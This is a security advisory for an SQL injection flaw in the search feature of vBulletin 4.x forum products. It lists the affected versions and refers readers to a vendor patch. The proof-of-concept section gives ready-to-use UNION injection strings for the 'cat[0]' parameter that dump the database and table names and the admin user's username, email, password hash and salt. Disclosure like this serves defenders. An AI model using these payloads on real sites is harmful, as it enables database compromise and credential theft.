Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
BID:47281
Info
Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
| Bugtraq ID: | 47281 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 08 2011 12:00AM |
| Updated: | May 23 2011 07:41AM |
| Credit: | The vendor reported this issue. |
| Vulnerable: |
VBulletin vBulletin Publishing Suite 4.1.2 PL1 VBulletin vBulletin Publishing Suite 4.1.1 PL1 VBulletin vBulletin Publishing Suite 4.1.0 PL3 VBulletin vBulletin Publishing Suite 4.0.8 PL3 VBulletin vBulletin Publishing Suite 4.0.7 PL1 VBulletin vBulletin Publishing Suite 4.0.6 PL1 VBulletin vBulletin Publishing Suite 4.0.5 PL1 VBulletin vBulletin Publishing Suite 4.0.4 PL2 VBulletin vBulletin Publishing Suite 4.0.3 PL2 VBulletin vBulletin Publishing Suite 4.0.2 PL5 VBulletin vBulletin Publishing Suite 4.0.1 PL1 VBulletin vBulletin Publishing Suite 4.0.0 PL2 VBulletin VBulletin 4.0.2 VBulletin VBulletin 4.0.1 VBulletin VBulletin 4.0 PL 1 VBulletin VBulletin 4.1.2 PL1 VBulletin VBulletin 4.1.1 PL1 VBulletin VBulletin 4.1.0 PL3 VBulletin VBulletin 4.0.8 PL3 VBulletin VBulletin 4.0.8 VBulletin VBulletin 4.0.7 PL1 VBulletin VBulletin 4.0.6 PL1 VBulletin VBulletin 4.0.5 PL1 VBulletin VBulletin 4.0.4 PL2 VBulletin VBulletin 4.0.3 PL2 VBulletin VBulletin 4.0.2 PL5 VBulletin VBulletin 4.0.2 PL 4 VBulletin VBulletin 4.0.2 PL 3 VBulletin VBulletin 4.0.2 PL 2 VBulletin VBulletin 4.0.1 PL1 VBulletin VBulletin 4.0.0 PL2 |
| Not Vulnerable: | |
Discussion
Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
Multiple vBulletin products are prone to an SQL-injection vulnerability because the applications fail to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Multiple vBulletin products are prone to an SQL-injection vulnerability because the applications fail to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Exploit / POC
Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example data are available:
&cat[0]=1) UNION SELECT database()#
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
Attackers can use a browser to exploit this issue.
The following example data are available:
&cat[0]=1) UNION SELECT database()#
&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
Solution / Fix
Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
Solution:
Updates are available. Please see the references for more details.
Solution:
Updates are available. Please see the references for more details.
References
Multiple vBulletin Products 'Search Multiple Content Types' SQL Injection Vulnerability
References:
References:
- vBulletin 4.X Security Patch (vBulletin)
- vBulletin Homepage (vBulletin)